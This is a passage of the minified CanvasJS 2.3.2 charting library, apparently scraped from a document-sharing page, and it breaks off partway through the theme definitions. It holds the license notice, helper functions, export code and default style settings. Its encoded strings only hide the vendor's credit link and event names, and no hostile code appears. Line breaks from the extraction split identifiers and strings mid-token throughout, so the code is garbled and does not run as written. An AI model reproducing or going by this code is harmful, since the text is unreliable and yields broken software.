Sei sulla pagina 1di 190

var dps = [];

var chart = '';


/*
CanvasJS HTML5 & JavaScript Charts - v2.3.2 GA - https://canvasjs.com/
Copyright 2018 fenopix

--------------------- License Information --------------------


CanvasJS is a commercial product which requires purchase of license. Without a
commercial license you can use it for evaluation purposes for upto 30 days. Please
refer to the following link for further details.
https://canvasjs.com/license/

*/
/*eslint-disable*/
/*jshint ignore:start*/
(function(){function qa(h,p)
{h.prototype=eb(p.prototype);h.prototype.constructor=h;h.base=p.prototype}function
eb(h){function p(){}p.prototype=h;return new p}function Ya(h,p,D)
{"millisecond"===D?h.setMilliseconds(h.getMilliseconds()+1*p):"second"===D?
h.setSeconds(h.getSeconds()+1*p):"minute"===D?h.setMinutes(h.getMinutes()
+1*p):"hour"===D?h.setHours(h.getHours()+1*p):"day"===D?h.setDate(h.getDate()
+1*p):"week"===D?h.setDate(h.getDate()+7*p):"month"===D?h.setMonth(h.getMonth()
+1*p):"year"===D&&h.setFullYear(h.getFullYear()+
1*p);return h}function $(h,p){var D=!1;0>h&&(D=!0,h*=-1);h=""+h;for(p=p?
p:1;h.length<p;)h="0"+h;return D?"-"+h:h}function Ia(h){if(!h)return
h;h=h.replace(/^\s\s*/,"");for(var p=/\s/,D=h.length;p.test(h.charAt(--D)););return
h.slice(0,D+1)}function Ea(h){h.roundRect=function(h,D,r,u,H,F,z,v)
{z&&(this.fillStyle=z);v&&(this.strokeStyle=v);"undefined"===typeof
H&&(H=5);this.lineWidth=F;this.beginPath();this.moveTo(h+H,D);this.lineTo(h+r-
H,D);this.quadraticCurveTo(h+r,D,h+r,D+H);this.lineTo(h+r,D+u-H);
this.quadraticCurveTo(h+r,D+u,h+r-
H,D+u);this.lineTo(h+H,D+u);this.quadraticCurveTo(h,D+u,h,D+u-
H);this.lineTo(h,D+H);this.quadraticCurveTo(h,D,h+H,D);this.closePath();z&&this.fil
l();v&&0<F&&this.stroke()}}function Sa(h,p){return h-p}function Ta(h,p,D)
{if(h&&p&&D){D=D+"."+p;var r="image/"+p;h=h.toDataURL(r);var u=!
1,H=document.createElement("a");H.download=D;H.href=h;if("undefined"!==typeof
Blob&&new Blob){for(var F=h.replace(/^data:[a-z\/]*;base64,/,""),F=atob(F),z=new
ArrayBuffer(F.length),z=new Uint8Array(z),
v=0;v<F.length;v++)z[v]=F.charCodeAt(v);p=new Blob([z.buffer],
{type:"image/"+p});try{window.navigator.msSaveBlob(p,D),u=!0}catch(L)
{H.dataset.downloadurl=[r,H.download,H.href].join(":"),H.href=window.URL.createObje
ctURL(p)}}if(!
u)try{event=document.createEvent("MouseEvents"),event.initMouseEvent("click",!0,!
1,window,0,0,0,0,0,!1,!1,!1,!1,0,null),H.dispatchEvent?
H.dispatchEvent(event):H.fireEvent&&H.fireEvent("onclick")}catch(E)
{p=window.open(),p.document.write("<img src='"+h+"'></img><div>Please right click
on the image and save it to your device</div>"),
p.document.close()}}}function N(h){var
p=((h&16711680)>>16).toString(16),D=((h&65280)>>8).toString(16);h=((h&255)>>0).toSt
ring(16);p=2>p.length?"0"+p:p;D=2>D.length?"0"+D:D;h=2>h.length?"0"+h:h;return"#"+p
+D+h}function fb(h,p){var D=this.length>>>0,r=Number(p)||0,r=0>r?
Math.ceil(r):Math.floor(r);for(0>r&&(r+=D);r<D;r++)if(r in this&&this[r]===h)return
r;return-1}function u(h){return null===h||"undefined"===typeof h}function Fa(h)
{h.indexOf||(h.indexOf=fb);return h}function gb(h)
{if(U.fSDec)h[ja("`eeDwdouMhrudods")](ja("e`u`@ohl`uhnoHuds`uhnoDoe"),
function(){U._fTWm&&U._fTWm(h)})}function Za(h,p,D){D=D||"normal";var
r=h+"_"+p+"_"+D,u=$a[r];if(isNaN(u)){try{h="position:absolute; left:0px; top:-
20000px; padding:0px;margin:0px;border:none;white-space:pre;line-
height:normal;font-family:"+h+"; font-size:"+p+"px; font-weight:"+D+";";if(!xa){var
H=document.body;xa=document.createElement("span");xa.innerHTML="";var
F=document.createTextNode("Mpgyi");xa.appendChild(F);H.appendChild(xa)}xa.style.dis
play="";xa.setAttribute("style",h);u=Math.round(xa.offsetHeight);
xa.style.display="none"}catch(z){u=Math.ceil(1.1*p)}u=Math.max(u,p);$a[r]=u}return
u}function R(h,p){var D=[];if(D={solid:[],shortDash:[3,1],shortDot:
[1,1],shortDashDot:[3,1,1,1],shortDashDotDot:[3,1,1,1,1,1],dot:[1,2],dash:
[4,2],dashDot:[4,2,1,2],longDash:[8,2],longDashDot:[8,2,1,2],longDashDotDot:
[8,2,1,2,1,2]}[h||"solid"])for(var r=0;r<D.length;r++)D[r]*=p;else D=[];return
D}function O(h,p,D,r,u){r=r||[];u=u||!1;r.push([h,p,D,u]);return
h.addEventListener?(h.addEventListener(p,D,u),D):h.attachEvent?
(r=function(p){p=p||window.event;p.preventDefault=p.preventDefault||function()
{p.returnValue=!1};p.stopPropagation=p.stopPropagation||function(){p.cancelBubble=!
0};D.call(h,p)},h.attachEvent("on"+p,r),r):!1}function ab(h,p,D)
{h*=W;p*=W;h=D.getImageData(h,p,2,2).data;p=!0;for(D=0;4>D;D++)if(h[D]!==h[D+4]|
h[D]!==h[D+8]|h[D]!==h[D+12]){p=!1;break}return p?h[0]<<16|h[1]<<8|h[2]:0}function
na(h,p,D){return h in p?p[h]:D[h]}function Oa(h,p,D){if(r&&bb){var
u=h.getContext("2d");Pa=u.webkitBackingStorePixelRatio||
u.mozBackingStorePixelRatio||u.msBackingStorePixelRatio||
u.oBackingStorePixelRatio||u.backingStorePixelRatio||
1;W=Ua/Pa;h.width=p*W;h.height=D*W;Ua!
==Pa&&(h.style.width=p+"px",h.style.height=D+"px",u.scale(W,W))}else
h.width=p,h.height=D}function hb(h){if(!ib){var p=!1,D=!1;"undefined"===typeof
ra.Chart.creditHref?
(h.creditHref=ja("iuuqr;..b`ow`rkr/bnl."),h.creditText=ja("B`ow`rKR/bnl")):
(p=h.updateOption("creditText"),D=h.updateOption("creditHref"));if(h.creditHref&&h.
creditText){h._creditLink||
(h._creditLink=document.createElement("a"),h._creditLink.setAttribute("class","canv
asjs-chart-credit"),h._creditLink.setAttribute("title","JavaScript
Charts"),h._creditLink.setAttribute("style","outline:none;margin:0px;position:absol
ute;right:2px;top:"+(h.height-14)+"px;color:dimgrey;text-decoration:none;font-
size:11px;font-family: Calibri, Lucida Grande, Lucida Sans Unicode, Arial, sans-
serif"),h._creditLink.setAttribute("tabIndex",-
1),h._creditLink.setAttribute("target","_blank"));if(0===h.renderCount||
p||
D)h._creditLink.setAttribute("href",h.creditHref),h._creditLink.innerHTML=h.creditT
ext;h._creditLink&&h.creditHref&&h.creditText?(h._creditLink.parentElement||
h._canvasJSContainer.appendChild(h._creditLink),h._creditLink.style.top=h.height-
14+"px"):h._creditLink.parentElement&&h._canvasJSContainer.removeChild(h._creditLin
k)}}}function ta(h,p){Ja&&(this.canvasCount|=0,window.console.log(+
+this.canvasCount));var
D=document.createElement("canvas");D.setAttribute("class","canvasjs-chart-
canvas");Oa(D,
h,p);r||"undefined"===typeof G_vmlCanvasManager||
G_vmlCanvasManager.initElement(D);return D}function sa(h,p,D){for(var r in
D)p.style[r]=D[r]}function ua(h,p,D){p.getAttribute("state")||
(p.style.backgroundColor=h.toolbar.backgroundColor,p.style.color=h.toolbar.fontColo
r,p.style.border="none",sa(h,p,
{WebkitUserSelect:"none",MozUserSelect:"none",msUserSelect:"none",userSelect:"none"
}));p.getAttribute("state")!
==D&&(p.setAttribute("state",D),p.setAttribute("type","button"),sa(h,p,
{padding:"5px 12px",
cursor:"pointer","float":"left",width:"40px",height:"25px",outline:"0px",verticalAl
ign:"baseline",lineHeight:"0"}),p.setAttribute("title",h._cultureInfo[D+"Text"]),p.
innerHTML="<img style='height:95%; pointer-events: none;' src='"+jb[D].image+"'
alt='"+h._cultureInfo[D+"Text"]+"' />")}function Qa(){for(var
h=null,p=0;p<arguments.length;p+
+)h=arguments[p],h.style&&(h.style.display="inline")}function va(){for(var
h=null,p=0;p<arguments.length;p++)
(h=arguments[p])&&h.style&&(h.style.display="none")}
function V(h,p,D,r,v)
{this._defaultsKey=h;this._themeOptionsKey=p;this._index=r;this.parent=v;this._even
tListeners=[];h={};this.theme&&u(p)&&u(r)?h=u(ya[this.theme])?
ya.light1:ya[this.theme]:this.parent&&(this.parent.themeOptions&&this.parent.themeO
ptions[p])&&(null===r?
h=this.parent.themeOptions[p]:0<this.parent.themeOptions[p].length&&(r=Math.min(thi
s.parent.themeOptions[p].length-1,r),h=this.parent.themeOptions[p]
[r]));this.themeOptions=h;this.options=D?D:{_isPlaceholder:!
0};this.setOptions(this.options,
h)}function Ga(h,p,r,u,v){"undefined"===typeof
v&&(v=0);this._padding=v;this._x1=h;this._y1=p;this._x2=r;this._y2=u;this._rightOcc
upied=this._leftOccupied=this._bottomOccupied=this._topOccupied=this._padding}funct
ion ka(h,p)
{ka.base.constructor.call(this,"TextBlock",null,p,null,null);this.ctx=h;this._isDir
ty=!0;this._wrappedText=null;this._initialize()}function Va(h,p)
{Va.base.constructor.call(this,"Toolbar","toolbar",p,null,h);this.chart=h;this.canv
as=h.canvas;this.ctx=this.chart.ctx;this.optionsName=
"toolbar"}function Aa(h,p)
{Aa.base.constructor.call(this,"Title","title",p,null,h);this.chart=h;this.canvas=h
.canvas;this.ctx=this.chart.ctx;this.optionsName="title";if(u(this.options.margin)&
&h.options.subtitles)for(var r=h.options.subtitles,za=0;za<r.length;za+
+)if((u(r[za].horizontalAlign)&&"center"===this.horizontalAlign||
r[za].horizontalAlign===this.horizontalAlign)&&(u(r[za].verticalAlign)&&"top"===thi
s.verticalAlign||r[za].verticalAlign===this.verticalAlign)&&!
r[za].dockInsidePlotArea===!this.dockInsidePlotArea){this.margin=
0;break}"undefined"===typeof
this.options.fontSize&&(this.fontSize=this.chart.getAutoFontSize(this.fontSize));th
is.height=this.width=null;this.bounds={x1:null,y1:null,x2:null,y2:null}}function
Ka(h,p,r)
{Ka.base.constructor.call(this,"Subtitle","subtitles",p,r,h);this.chart=h;this.canv
as=h.canvas;this.ctx=this.chart.ctx;this.optionsName="subtitles";this.isOptionsInAr
ray=!0;"undefined"===typeof
this.options.fontSize&&(this.fontSize=this.chart.getAutoFontSize(this.fontSize));th
is.height=this.width=null;
this.bounds={x1:null,y1:null,x2:null,y2:null}}function Wa(){this.pool=[]}function
La(h){var
p;h&&Ma[h]&&(p=Ma[h]);La.base.constructor.call(this,"CultureInfo",null,p,null,null)
}var Ja=!1,U={},r=!!document.createElement("canvas").getContext,ra={Chart:
{width:500,height:400,zoomEnabled:!
1,zoomType:"x",backgroundColor:"white",theme:"light1",animationEnabled:!
1,animationDuration:1200,dataPointWidth:null,dataPointMinWidth:null,dataPointMaxWid
th:null,colorSet:"colorSet1",culture:"en",creditHref:"",creditText:"CanvasJS",
interactivityEnabled:!0,exportEnabled:!
1,exportFileName:"Chart",rangeChanging:null,rangeChanged:null,publicProperties:
{title:"readWrite",subtitles:"readWrite",toolbar:"readWrite",toolTip:"readWrite",le
gend:"readWrite",axisX:"readWrite",axisY:"readWrite",axisX2:"readWrite",axisY2:"rea
dWrite",data:"readWrite",options:"readWrite",bounds:"readOnly",container:"readOnly"
}},Title:
{padding:0,text:null,verticalAlign:"top",horizontalAlign:"center",fontSize:20,fontF
amily:"Calibri",fontWeight:"normal",fontColor:"black",
fontStyle:"normal",borderThickness:0,borderColor:"black",cornerRadius:0,backgroundC
olor:r?"transparent":null,margin:5,wrap:!0,maxWidth:null,dockInsidePlotArea:!
1,publicProperties:
{options:"readWrite",bounds:"readOnly",chart:"readOnly"}},Subtitle:
{padding:0,text:null,verticalAlign:"top",horizontalAlign:"center",fontSize:14,fontF
amily:"Calibri",fontWeight:"normal",fontColor:"black",fontStyle:"normal",borderThic
kness:0,borderColor:"black",cornerRadius:0,backgroundColor:null,margin:2,wrap:!
0,maxWidth:null,
dockInsidePlotArea:!1,publicProperties:
{options:"readWrite",bounds:"readOnly",chart:"readOnly"}},Toolbar:
{backgroundColor:"white",backgroundColorOnHover:"#2196f3",borderColor:"#2196f3",bor
derThickness:1,fontColor:"black",fontColorOnHover:"white",publicProperties:
{options:"readWrite",chart:"readOnly"}},Legend:
{name:null,verticalAlign:"center",horizontalAlign:"right",fontSize:14,fontFamily:"c
alibri",fontWeight:"normal",fontColor:"black",fontStyle:"normal",cursor:null,itemmo
useover:null,itemmouseout:null,
itemmousemove:null,itemclick:null,dockInsidePlotArea:!1,reversed:!
1,backgroundColor:r?"transparent":null,borderColor:r?"transparent":null,borderThick
ness:0,cornerRadius:0,maxWidth:null,maxHeight:null,markerMargin:null,itemMaxWidth:n
ull,itemWidth:null,itemWrap:!0,itemTextFormatter:null,publicProperties:
{options:"readWrite",bounds:"readOnly",chart:"readOnly"}},ToolTip:{enabled:!
0,shared:!1,animationEnabled:!0,content:null,contentFormatter:null,reversed:!
1,backgroundColor:r?"rgba(255,255,255,.9)":"rgb(255,255,255)",
borderColor:null,borderThickness:2,cornerRadius:5,fontSize:14,fontColor:"black",fon
tFamily:"Calibri, Arial, Georgia,
serif;",fontWeight:"normal",fontStyle:"italic",publicProperties:
{options:"readWrite",chart:"readOnly"}},Axis:
{minimum:null,maximum:null,viewportMinimum:null,viewportMaximum:null,interval:null,
intervalType:null,reversed:!1,logarithmic:!
1,logarithmBase:10,title:null,titleFontColor:"black",titleFontSize:20,titleFontFami
ly:"arial",titleFontWeight:"normal",titleFontStyle:"normal",titleWrap:!0,
titleMaxWidth:null,titleBackgroundColor:r?"transparent":null,titleBorderColor:r?"tr
ansparent":null,titleBorderThickness:0,titleCornerRadius:0,labelAngle:0,labelFontFa
mily:"arial",labelFontColor:"black",labelFontSize:12,labelFontWeight:"normal",label
FontStyle:"normal",labelAutoFit:!0,labelWrap:!
0,labelMaxWidth:null,labelFormatter:null,labelBackgroundColor:r?"transparent":null,
labelBorderColor:r?"transparent":null,labelBorderThickness:0,labelCornerRadius:0,la
belPlacement:"outside",prefix:"",suffix:"",
includeZero:!
0,tickLength:5,tickColor:"black",tickThickness:1,lineColor:"black",lineThickness:1,
lineDashType:"solid",gridColor:"A0A0A0",gridThickness:0,gridDashType:"solid",interl
acedColor:r?"transparent":null,valueFormatString:null,margin:2,publicProperties:
{options:"readWrite",stripLines:"readWrite",scaleBreaks:"readWrite",crosshair:"read
Write",bounds:"readOnly",chart:"readOnly"}},StripLine:
{value:null,startValue:null,endValue:null,color:"orange",opacity:null,thickness:2,l
ineDashType:"solid",label:"",
labelPlacement:"inside",labelAlign:"far",labelWrap:!
0,labelMaxWidth:null,labelBackgroundColor:null,labelBorderColor:r?"transparent":nul
l,labelBorderThickness:0,labelCornerRadius:0,labelFontFamily:"arial",labelFontColor
:"orange",labelFontSize:12,labelFontWeight:"normal",labelFontStyle:"normal",labelFo
rmatter:null,showOnTop:!1,publicProperties:
{options:"readWrite",axis:"readOnly",bounds:"readOnly",chart:"readOnly"}},ScaleBrea
ks:{autoCalculate:!1,collapsibleThreshold:"25%",maxNumberOfAutoBreaks:2,spacing:8,
type:"straight",color:"#FFFFFF",fillOpacity:0.9,lineThickness:2,lineColor:"#E16E6E"
,lineDashType:"solid",publicProperties:
{options:"readWrite",customBreaks:"readWrite",axis:"readOnly",autoBreaks:"readOnly"
,bounds:"readOnly",chart:"readOnly"}},Break:
{startValue:null,endValue:null,spacing:8,type:"straight",color:"#FFFFFF",fillOpacit
y:0.9,lineThickness:2,lineColor:"#E16E6E",lineDashType:"solid",publicProperties:
{options:"readWrite",scaleBreaks:"readOnly",bounds:"readOnly",chart:"readOnly"}},Cr
osshair:{enabled:!1,
snapToDataPoint:!
1,color:"grey",opacity:null,thickness:2,lineDashType:"solid",label:"",labelWrap:!
0,labelMaxWidth:null,labelBackgroundColor:r?"grey":null,labelBorderColor:r?"grey":n
ull,labelBorderThickness:0,labelCornerRadius:0,labelFontFamily:r?"Calibri, Optima,
Candara, Verdana, Geneva, sans-
serif":"calibri",labelFontSize:12,labelFontColor:"#fff",labelFontWeight:"normal",la
belFontStyle:"normal",labelFormatter:null,valueFormatString:null,publicProperties:
{options:"readWrite",axis:"readOnly",bounds:"readOnly",
chart:"readOnly"}},DataSeries:{name:null,dataPoints:null,label:"",bevelEnabled:!
1,highlightEnabled:!
0,cursor:"default",indexLabel:"",indexLabelPlacement:"auto",indexLabelOrientation:"
horizontal",indexLabelFontColor:"black",indexLabelFontSize:12,indexLabelFontStyle:"
normal",indexLabelFontFamily:"Arial",indexLabelFontWeight:"normal",indexLabelBackgr
oundColor:null,indexLabelLineColor:"gray",indexLabelLineThickness:1,indexLabelLineD
ashType:"solid",indexLabelMaxWidth:null,indexLabelWrap:!0,indexLabelFormatter:null,
lineThickness:2,lineDashType:"solid",connectNullData:!
1,nullDataLineDashType:"dash",color:null,lineColor:null,risingColor:"white",falling
Color:"red",fillOpacity:null,startAngle:0,radius:null,innerRadius:null,neckHeight:n
ull,neckWidth:null,reversed:!
1,valueRepresents:null,linkedDataSeriesIndex:null,whiskerThickness:2,whiskerDashTyp
e:"solid",whiskerColor:null,whiskerLength:null,stemThickness:2,stemColor:null,stemD
ashType:"solid",upperBoxColor:"white",lowerBoxColor:"white",type:"column",xValueTyp
e:"number",
axisXType:"primary",axisYType:"primary",axisXIndex:0,axisYIndex:0,xValueFormatStrin
g:null,yValueFormatString:null,zValueFormatString:null,percentFormatString:null,sho
wInLegend:null,legendMarkerType:null,legendMarkerColor:null,legendText:null,legendM
arkerBorderColor:r?"transparent":null,legendMarkerBorderThickness:0,markerType:"cir
cle",markerColor:null,markerSize:null,markerBorderColor:r?"transparent":null,marker
BorderThickness:0,mouseover:null,mouseout:null,mousemove:null,click:null,toolTipCon
tent:null,
visible:!0,publicProperties:
{options:"readWrite",axisX:"readWrite",axisY:"readWrite",chart:"readOnly"}},TextBlo
ck:
{x:0,y:0,width:null,height:null,maxWidth:null,maxHeight:null,padding:0,angle:0,text
:"",horizontalAlign:"center",fontSize:12,fontFamily:"calibri",fontWeight:"normal",f
ontColor:"black",fontStyle:"normal",borderThickness:0,borderColor:"black",cornerRad
ius:0,backgroundColor:null,textBaseline:"top"},CultureInfo:
{decimalSeparator:".",digitGroupSeparator:",",zoomText:"Zoom",panText:"Pan",resetTe
xt:"Reset",
menuText:"More Options",saveJPGText:"Save as JPEG",savePNGText:"Save as
PNG",printText:"Print",days:"Sunday Monday Tuesday Wednesday Thursday Friday
Saturday".split(" "),shortDays:"Sun Mon Tue Wed Thu Fri Sat".split("
"),months:"January February March April May June July August September October
November December".split(" "),shortMonths:"Jan Feb Mar Apr May Jun Jul Aug Sep Oct
Nov Dec".split(" ")}},Ma={en:{}},v=r?"Trebuchet MS, Helvetica, sans-
serif":"Arial",Ha=r?"Impact, Charcoal, sans-serif":"Arial",
Ba={colorSet1:"#4F81BC #C0504E #9BBB58 #23BFAA #8064A1 #4AACC5 #F79647 #7F6084
#77A033 #33558B #E59566".split(" "),colorSet2:"#6D78AD #51CDA0 #DF7970 #4C9CA0
#AE7D99 #C9D45C #5592AD #DF874D #52BCA8 #8E7AA3 #E3CB64 #C77B85 #C39762 #8DD17E
#B57952 #FCC26C".split(" "),colorSet3:"#8CA1BC #36845C #017E82 #8CB9D0 #708C98
#94838D #F08891 #0366A7 #008276 #EE7757 #E5BA3A #F2990B #03557B #782970".split("
")},I,fa,Q,ha,ga;fa="#333333";Q="#000000";I="#666666";ga=ha="#000000";var
X=20,E=14,Xa={colorSet:"colorSet1",
backgroundColor:"#FFFFFF",title:
{fontFamily:Ha,fontSize:32,fontColor:fa,fontWeight:"normal",verticalAlign:"top",mar
gin:5},subtitles:
[{fontFamily:Ha,fontSize:E,fontColor:fa,fontWeight:"normal",verticalAlign:"top",mar
gin:5}],data:
[{indexLabelFontFamily:v,indexLabelFontSize:E,indexLabelFontColor:fa,indexLabelFont
Weight:"normal",indexLabelLineThickness:1}],axisX:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:fa,titleFontWeight:"normal",labe
lFontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",
lineThickness:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I
,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisX2:[{titleFontFamily:v,
titleFontSize:X,titleFontColor:fa,titleFontWeight:"normal",labelFontFamily:v,labelF
ontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickness:1,lineColor:I,tic
kThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,
lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisY:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:fa,titleFontWeight:"normal",labe
lFontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickne
ss:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines
:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",
thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisY2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:fa,titleFontWeight:"normal",labe
lFontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickne
ss:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:1,
gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],legend:
{fontFamily:v,fontSize:14,fontColor:fa,fontWeight:"bold",verticalAlign:"bottom",
horizontalAlign:"center"},toolTip:
{fontFamily:v,fontSize:14,fontStyle:"normal",cornerRadius:0,borderThickness:1}};Q=f
a="#F5F5F5";I="#FFFFFF";ha="#40BAF1";ga="#F5F5F5";var
X=20,E=14,cb={colorSet:"colorSet2",title:
{fontFamily:v,fontSize:33,fontColor:"#3A3A3A",fontWeight:"bold",verticalAlign:"top"
,margin:5},subtitles:
[{fontFamily:v,fontSize:E,fontColor:"#3A3A3A",fontWeight:"normal",verticalAlign:"to
p",margin:5}],data:
[{indexLabelFontFamily:v,indexLabelFontSize:E,indexLabelFontColor:"#666666",indexLa
belFontWeight:"normal",
indexLabelLineThickness:1}],axisX:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:"#666666",titleFontWeight:"norma
l",labelFontFamily:v,labelFontSize:E,labelFontColor:"#666666",labelFontWeight:"norm
al",lineThickness:1,lineColor:"#BBBBBB",tickThickness:1,tickColor:"#BBBBBB",gridThi
ckness:1,gridColor:"#BBBBBB",stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FFA500",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FFA500",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,
labelFontColor:"#EEEEEE",labelFontWeight:"normal",labelBackgroundColor:"black",colo
r:"black",thickness:1,lineDashType:"dot"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisX2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:"#666666",titleFontWeight:"norma
l",labelFontFamily:v,labelFontSize:E,labelFontColor:"#666666",labelFontWeight:"norm
al",lineThickness:1,lineColor:"#BBBBBB",tickColor:"#BBBBBB",tickThickness:1,gridThi
ckness:1,gridColor:"#BBBBBB",
stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FFA500",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FFA500",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:"black",color:"black",thickness:1,lineDashType:"dot"},scaleB
reaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisY:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:"#666666",titleFontWeight:"norma
l",
labelFontFamily:v,labelFontSize:E,labelFontColor:"#666666",labelFontWeight:"normal"
,lineThickness:0,lineColor:"#BBBBBB",tickColor:"#BBBBBB",tickThickness:1,gridThickn
ess:1,gridColor:"#BBBBBB",stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FFA500",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FFA500",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:"black",color:"black",thickness:1,lineDashType:"dot"},
scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],axisY2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:"#666666",titleFontWeight:"norma
l",labelFontFamily:v,labelFontSize:E,labelFontColor:"#666666",labelFontWeight:"norm
al",lineThickness:0,lineColor:"#BBBBBB",tickColor:"#BBBBBB",tickThickness:1,gridThi
ckness:1,gridColor:"#BBBBBB",stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FFA500",labelFontWeight:"norma
l",labelBackgroundColor:null,
color:"#FFA500",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#EEEEEE",labelFontWeight:"normal
",labelBackgroundColor:"black",color:"black",thickness:1,lineDashType:"dot"},scaleB
reaks:
{type:"zigzag",spacing:"2%",lineColor:"#BBBBBB",lineThickness:1,lineDashType:"solid
"}}],legend:
{fontFamily:v,fontSize:14,fontColor:"#3A3A3A",fontWeight:"bold",verticalAlign:"bott
om",horizontalAlign:"center"},toolTip:
{fontFamily:v,fontSize:14,fontStyle:"normal",cornerRadius:0,borderThickness:1}};
Q=fa="#F5F5F5";I="#FFFFFF";ha="#40BAF1";ga="#F5F5F5";X=20;E=14;Ha={colorSet:"colorS
et12",backgroundColor:"#2A2A2A",title:
{fontFamily:Ha,fontSize:32,fontColor:fa,fontWeight:"normal",verticalAlign:"top",mar
gin:5},subtitles:
[{fontFamily:Ha,fontSize:E,fontColor:fa,fontWeight:"normal",verticalAlign:"top",mar
gin:5}],toolbar:
{backgroundColor:"#666666",backgroundColorOnHover:"#FF7372",borderColor:"#FF7372",b
orderThickness:1,fontColor:"#F5F5F5",fontColorOnHover:"#F5F5F5"},data:
[{indexLabelFontFamily:v,indexLabelFontSize:E,
indexLabelFontColor:Q,indexLabelFontWeight:"normal",indexLabelLineThickness:1}],axi
sX:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
l",labelBackgroundColor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,
labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal",labelBackgroundCo
lor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisX2:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThicknes
s:1,lineColor:I,tickThickness:1,tickColor:I,gridThickness:0,gridColor:I,stripLines:
[{labelFontFamily:v,
labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"normal",labelBackgroundCo
lor:null,color:"#FF7300",thickness:1}],crosshair:
{labelFontFamily:v,labelFontSize:E,labelFontColor:"#000000",labelFontWeight:"normal
",labelBackgroundColor:ga,color:ha,thickness:1,lineDashType:"dash"},scaleBreaks:
{type:"zigzag",spacing:"2%",lineColor:"#777777",lineThickness:1,lineDashType:"solid
",color:"#111111"}}],axisY:
[{titleFontFamily:v,titleFontSize:X,titleFontColor:Q,titleFontWeight:"normal",label
FontFamily:v,
labelFontSize:E,labelFontColor:Q,labelFontWeight:"normal",lineThickness:1,lineColor
:I,tickThickness:1,tickColor:I,gridThickness:1,gridColor:I,stripLines:
[{labelFontFamily:v,labelFontSize:E,labelFontColor:"#FF7300",labelFontWeight:"norma
